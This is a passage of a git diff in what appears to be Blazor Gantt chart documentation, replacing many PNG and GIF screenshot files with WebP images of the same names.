index 56c8a830f4..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-handling-exception.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-handling-exception.webp b/blazor/gantt-chart/images/blazor-gantt-chart-handling-exception.webp
new file mode 100644
index 0000000000..2880c33acb
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-handling-exception.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-hide-grid-lines.png b/blazor/gantt-chart/images/blazor-gantt-chart-hide-grid-lines.png
deleted file mode 100644
index 408b07ca39..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-hide-grid-lines.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-hide-grid-lines.webp b/blazor/gantt-chart/images/blazor-gantt-chart-hide-grid-lines.webp
new file mode 100644
index 0000000000..e5c23a3c59
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-hide-grid-lines.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-holidays.png b/blazor/gantt-chart/images/blazor-gantt-chart-holidays.png
deleted file mode 100644
index 066c674141..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-holidays.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-holidays.webp b/blazor/gantt-chart/images/blazor-gantt-chart-holidays.webp
new file mode 100644
index 0000000000..a0d0670adb
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-holidays.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-hour-mode.png b/blazor/gantt-chart/images/blazor-gantt-chart-hour-mode.png
deleted file mode 100644
index 62447259c9..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-hour-mode.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-hour-mode.webp b/blazor/gantt-chart/images/blazor-gantt-chart-hour-mode.webp
new file mode 100644
index 0000000000..2750991d37
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-hour-mode.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-initial-filter.png b/blazor/gantt-chart/images/blazor-gantt-chart-initial-filter.png
deleted file mode 100644
index 1fc7f785e6..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-initial-filter.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-initial-filter.webp b/blazor/gantt-chart/images/blazor-gantt-chart-initial-filter.webp
new file mode 100644
index 0000000000..9604387805
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-initial-filter.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-manual-schedule-task.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-manual-schedule-task.PNG
deleted file mode 100644
index b196b38e89..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-manual-schedule-task.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-manual-schedule-task.webp b/blazor/gantt-chart/images/blazor-gantt-chart-manual-schedule-task.webp
new file mode 100644
index 0000000000..4d0f97ad2f
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-manual-schedule-task.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-manual-taskbar-tooltip.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-manual-taskbar-tooltip.PNG
deleted file mode 100644
index ef9a2a46da..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-manual-taskbar-tooltip.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-manual-taskbar-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-manual-taskbar-tooltip.webp
new file mode 100644
index 0000000000..46ac4fedde
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-manual-taskbar-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-menu-filter.png b/blazor/gantt-chart/images/blazor-gantt-chart-menu-filter.png
deleted file mode 100644
index 6e2e57f2b0..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-menu-filter.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-menu-filter.webp b/blazor/gantt-chart/images/blazor-gantt-chart-menu-filter.webp
new file mode 100644
index 0000000000..b0eef7f6c3
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-menu-filter.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-milestone-task.png b/blazor/gantt-chart/images/blazor-gantt-chart-milestone-task.png
deleted file mode 100644
index 1c8ed85c3c..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-milestone-task.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-milestone-task.webp b/blazor/gantt-chart/images/blazor-gantt-chart-milestone-task.webp
new file mode 100644
index 0000000000..dd21945af5
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-milestone-task.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multi-cell-selection.png b/blazor/gantt-chart/images/blazor-gantt-chart-multi-cell-selection.png
deleted file mode 100644
index a1f68c2344..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-multi-cell-selection.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multi-cell-selection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-multi-cell-selection.webp
new file mode 100644
index 0000000000..4e55ac6ef1
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-multi-cell-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multi-row-selection.gif b/blazor/gantt-chart/images/blazor-gantt-chart-multi-row-selection.gif
deleted file mode 100644
index ecf9659f6b..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-multi-row-selection.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multi-row-selection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-multi-row-selection.webp
new file mode 100644
index 0000000000..5b3adc4580
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-multi-row-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-predecessor.png b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-predecessor.png
deleted file mode 100644
index 85e78cecca..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-predecessor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-predecessor.webp b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-predecessor.webp
new file mode 100644
index 0000000000..17f5ca4c6e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-predecessor.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-selection.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-selection.PNG
deleted file mode 100644
index 86713f06fd..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-selection.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-selection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-selection.webp
new file mode 100644
index 0000000000..e78e982ba1
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-sorting.png b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-sorting.png
deleted file mode 100644
index a1a7b11c6f..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-sorting.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-sorting.webp b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-sorting.webp
new file mode 100644
index 0000000000..ac9e37da5d
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-sorting.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-task-dependencies.png b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-task-dependencies.png
deleted file mode 100644
index 4dd3db6de5..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-task-dependencies.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-multiple-task-dependencies.webp b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-task-dependencies.webp
new file mode 100644
index 0000000000..1e746c9411
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-multiple-task-dependencies.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-observable-collection.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-observable-collection.PNG
deleted file mode 100644
index af4893982b..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-observable-collection.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-observable-collection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-observable-collection.webp
new file mode 100644
index 0000000000..93f0b8f0bc
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-observable-collection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-observable-property-changed.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-observable-property-changed.PNG
deleted file mode 100644
index 96bf6cd162..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-observable-property-changed.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-observable-property-changed.webp b/blazor/gantt-chart/images/blazor-gantt-chart-observable-property-changed.webp
new file mode 100644
index 0000000000..76d4b10003
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-observable-property-changed.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-open-edit-dialog.png b/blazor/gantt-chart/images/blazor-gantt-chart-open-edit-dialog.png
deleted file mode 100644
index 9fafe04d13..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-open-edit-dialog.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-open-edit-dialog.webp b/blazor/gantt-chart/images/blazor-gantt-chart-open-edit-dialog.webp
new file mode 100644
index 0000000000..1952653c57
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-open-edit-dialog.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-predecessor-with-offsets.png b/blazor/gantt-chart/images/blazor-gantt-chart-predecessor-with-offsets.png
deleted file mode 100644
index bddd91d239..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-predecessor-with-offsets.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-predecessor-with-offsets.webp b/blazor/gantt-chart/images/blazor-gantt-chart-predecessor-with-offsets.webp
new file mode 100644
index 0000000000..0521020816
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-predecessor-with-offsets.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-preserve-link-with-editing.gif b/blazor/gantt-chart/images/blazor-gantt-chart-preserve-link-with-editing.gif
deleted file mode 100644
index 8a3446a01c..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-preserve-link-with-editing.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-preserve-link-with-editing.webp b/blazor/gantt-chart/images/blazor-gantt-chart-preserve-link-with-editing.webp
new file mode 100644
index 0000000000..d1308b91e7
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-preserve-link-with-editing.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.gif b/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.gif
deleted file mode 100644
index 9fafbce9c0..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.png b/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.png
deleted file mode 100644
index 5e266b2ad4..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.webp b/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.webp
new file mode 100644
index 0000000000..28f05cc964
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-reorder-multiple-columns.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-root-element.webp b/blazor/gantt-chart/images/blazor-gantt-chart-root-element.webp
new file mode 100644
index 0000000000..a7bc828e9e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-root-element.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-row-cell-customization.png b/blazor/gantt-chart/images/blazor-gantt-chart-row-cell-customization.png
deleted file mode 100644
index 3c3904457e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-row-cell-customization.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-row-cell-customization.webp b/blazor/gantt-chart/images/blazor-gantt-chart-row-cell-customization.webp
new file mode 100644
index 0000000000..af5689ac1e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-row-cell-customization.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-row-customization.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-row-customization.PNG
deleted file mode 100644
index 30b8e6b769..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-row-customization.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-row-customization.webp b/blazor/gantt-chart/images/blazor-gantt-chart-row-customization.webp
new file mode 100644
index 0000000000..ff76556357
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-row-customization.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-row-selection.gif b/blazor/gantt-chart/images/blazor-gantt-chart-row-selection.gif
deleted file mode 100644
index 0fa1b759d6..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-row-selection.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-row-selection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-row-selection.webp
new file mode 100644
index 0000000000..603750a0f1
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-row-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-search.gif b/blazor/gantt-chart/images/blazor-gantt-chart-search.gif
deleted file mode 100644
index 25c7cde8b6..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-search.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-search.webp b/blazor/gantt-chart/images/blazor-gantt-chart-search.webp
new file mode 100644
index 0000000000..44650bdab0
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-search.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-single-cell-selection.png b/blazor/gantt-chart/images/blazor-gantt-chart-single-cell-selection.png
deleted file mode 100644
index 1ac6c641cf..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-single-cell-selection.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-single-cell-selection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-single-cell-selection.webp
new file mode 100644
index 0000000000..5cd6256540
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-single-cell-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-splitter-position.png b/blazor/gantt-chart/images/blazor-gantt-chart-splitter-position.png
deleted file mode 100644
index 3aa55a29ac..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-splitter-position.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-splitter-position.webp b/blazor/gantt-chart/images/blazor-gantt-chart-splitter-position.webp
new file mode 100644
index 0000000000..ff2c4153c2
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-splitter-position.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-start-date-task.png b/blazor/gantt-chart/images/blazor-gantt-chart-start-date-task.png
deleted file mode 100644
index aaa16f6174..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-start-date-task.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-start-date-task.webp b/blazor/gantt-chart/images/blazor-gantt-chart-start-date-task.webp
new file mode 100644
index 0000000000..ff282e2baf
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-start-date-task.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-start-to-finish-relation.png b/blazor/gantt-chart/images/blazor-gantt-chart-start-to-finish-relation.png
deleted file mode 100644
index fec926a8fb..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-start-to-finish-relation.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-start-to-finish-relation.webp b/blazor/gantt-chart/images/blazor-gantt-chart-start-to-finish-relation.webp
new file mode 100644
index 0000000000..ff2b33635d
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-start-to-finish-relation.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-start-to-start-relation.png b/blazor/gantt-chart/images/blazor-gantt-chart-start-to-start-relation.png
deleted file mode 100644
index 0bbcf00ba5..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-start-to-start-relation.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-start-to-start-relation.webp b/blazor/gantt-chart/images/blazor-gantt-chart-start-to-start-relation.webp
new file mode 100644
index 0000000000..31e5d7347d
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-start-to-start-relation.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-task-dependency.png b/blazor/gantt-chart/images/blazor-gantt-chart-task-dependency.png
deleted file mode 100644
index 4b312f22ba..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-task-dependency.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-task-dependency.webp b/blazor/gantt-chart/images/blazor-gantt-chart-task-dependency.webp
new file mode 100644
index 0000000000..b4a0a8c423
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-task-dependency.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-task-label.png b/blazor/gantt-chart/images/blazor-gantt-chart-task-label.png
deleted file mode 100644
index a2463f3317..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-task-label.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-task-label.webp b/blazor/gantt-chart/images/blazor-gantt-chart-task-label.webp
new file mode 100644
index 0000000000..34161267e2
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-task-label.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-task-relationship.png b/blazor/gantt-chart/images/blazor-gantt-chart-task-relationship.png
deleted file mode 100644
index 69eb351275..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-task-relationship.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-task-relationship.webp b/blazor/gantt-chart/images/blazor-gantt-chart-task-relationship.webp
new file mode 100644
index 0000000000..32f999562e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-task-relationship.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-background.png b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-background.png
deleted file mode 100644
index 1aef43e0fc..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-background.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-background.webp b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-background.webp
new file mode 100644
index 0000000000..a9f88d4801
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-background.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-height.png b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-height.png
deleted file mode 100644
index 355176c8ec..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-height.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-height.webp b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-height.webp
new file mode 100644
index 0000000000..e0276250a2
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-height.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-template.png b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-template.png
deleted file mode 100644
index 052b2eb689..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-template.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-template.webp b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-template.webp
new file mode 100644
index 0000000000..b857753004
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-template.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-tooltip.png b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-tooltip.png
deleted file mode 100644
index 3c27354440..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-tooltip.webp
new file mode 100644
index 0000000000..4a84d4900a
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-taskbar-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-timeline-cell-tooltip.png b/blazor/gantt-chart/images/blazor-gantt-chart-timeline-cell-tooltip.png
deleted file mode 100644
index bec19647c4..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-timeline-cell-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-timeline-cell-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-timeline-cell-tooltip.webp
new file mode 100644
index 0000000000..1a89e8856b
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-timeline-cell-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-unscheduled-tasks.png b/blazor/gantt-chart/images/blazor-gantt-chart-unscheduled-tasks.png
deleted file mode 100644
index 2b4466aa96..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-unscheduled-tasks.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-unscheduled-tasks.webp b/blazor/gantt-chart/images/blazor-gantt-chart-unscheduled-tasks.webp
new file mode 100644
index 0000000000..1f0a57948e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-unscheduled-tasks.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-update-record.png b/blazor/gantt-chart/images/blazor-gantt-chart-update-record.png
deleted file mode 100644
index 1156bc5f65..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-update-record.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-update-record.webp b/blazor/gantt-chart/images/blazor-gantt-chart-update-record.webp
new file mode 100644
index 0000000000..863b15322f
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-update-record.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-week-mode.png b/blazor/gantt-chart/images/blazor-gantt-chart-week-mode.png
deleted file mode 100644
index 687fbd8158..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-week-mode.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-week-mode.webp b/blazor/gantt-chart/images/blazor-gantt-chart-week-mode.webp
new file mode 100644
index 0000000000..258462c150
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-week-mode.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-week-start-day.png b/blazor/gantt-chart/images/blazor-gantt-chart-week-start-day.png
deleted file mode 100644
index 7e44fdcf75..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-week-start-day.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-week-start-day.webp b/blazor/gantt-chart/images/blazor-gantt-chart-week-start-day.webp
new file mode 100644
index 0000000000..6afa410619
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-week-start-day.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-with-baseline.png b/blazor/gantt-chart/images/blazor-gantt-chart-with-baseline.png
deleted file mode 100644
index bd2504e003..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-with-baseline.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-with-baseline.webp b/blazor/gantt-chart/images/blazor-gantt-chart-with-baseline.webp
new file mode 100644
index 0000000000..ac4b0e4094
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-with-baseline.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-with-splitter.png b/blazor/gantt-chart/images/blazor-gantt-chart-with-splitter.png
deleted file mode 100644
index 7b0f3bdb4f..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-with-splitter.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-with-splitter.webp b/blazor/gantt-chart/images/blazor-gantt-chart-with-splitter.webp
new file mode 100644
index 0000000000..23ad4c71c9
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-with-splitter.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-with-taskbar-tooltip.png b/blazor/gantt-chart/images/blazor-gantt-chart-with-taskbar-tooltip.png
deleted file mode 100644
index 201e054cf4..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-with-taskbar-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-with-taskbar-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-with-taskbar-tooltip.webp
new file mode 100644
index 0000000000..e94f1d61f4
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-with-taskbar-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-working-time-range.png b/blazor/gantt-chart/images/blazor-gantt-chart-working-time-range.png
deleted file mode 100644
index 486ddaa554..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-working-time-range.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-working-time-range.webp b/blazor/gantt-chart/images/blazor-gantt-chart-working-time-range.webp
new file mode 100644
index 0000000000..1489a46df2
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-working-time-range.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-year-mode.png b/blazor/gantt-chart/images/blazor-gantt-chart-year-mode.png
deleted file mode 100644
index 9ec10367b2..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-year-mode.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-year-mode.webp b/blazor/gantt-chart/images/blazor-gantt-chart-year-mode.webp
new file mode 100644
index 0000000000..3a2e003bce
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-year-mode.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart.gif b/blazor/gantt-chart/images/blazor-gantt-chart.gif
deleted file mode 100644
index fafbc91110..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart.webp b/blazor/gantt-chart/images/blazor-gantt-chart.webp
new file mode 100644
index 0000000000..61a5b3b844
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-column-chooser.gif b/blazor/gantt-chart/images/blazor-gantt-column-chooser.gif
deleted file mode 100644
index 5fc7f03872..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-column-chooser.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-column-chooser.webp b/blazor/gantt-chart/images/blazor-gantt-column-chooser.webp
new file mode 100644
index 0000000000..5e4d32ed8e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-column-chooser.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-connector-lines.webp b/blazor/gantt-chart/images/blazor-gantt-connector-lines.webp
new file mode 100644
index 0000000000..399dce25ff
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-connector-lines.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-custom-binding.png b/blazor/gantt-chart/images/blazor-gantt-custom-binding.png
deleted file mode 100644
index ebf1ed636b..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-custom-binding.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-custom-binding.webp b/blazor/gantt-chart/images/blazor-gantt-custom-binding.webp
new file mode 100644
index 0000000000..be0b648800
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-custom-binding.webp differ
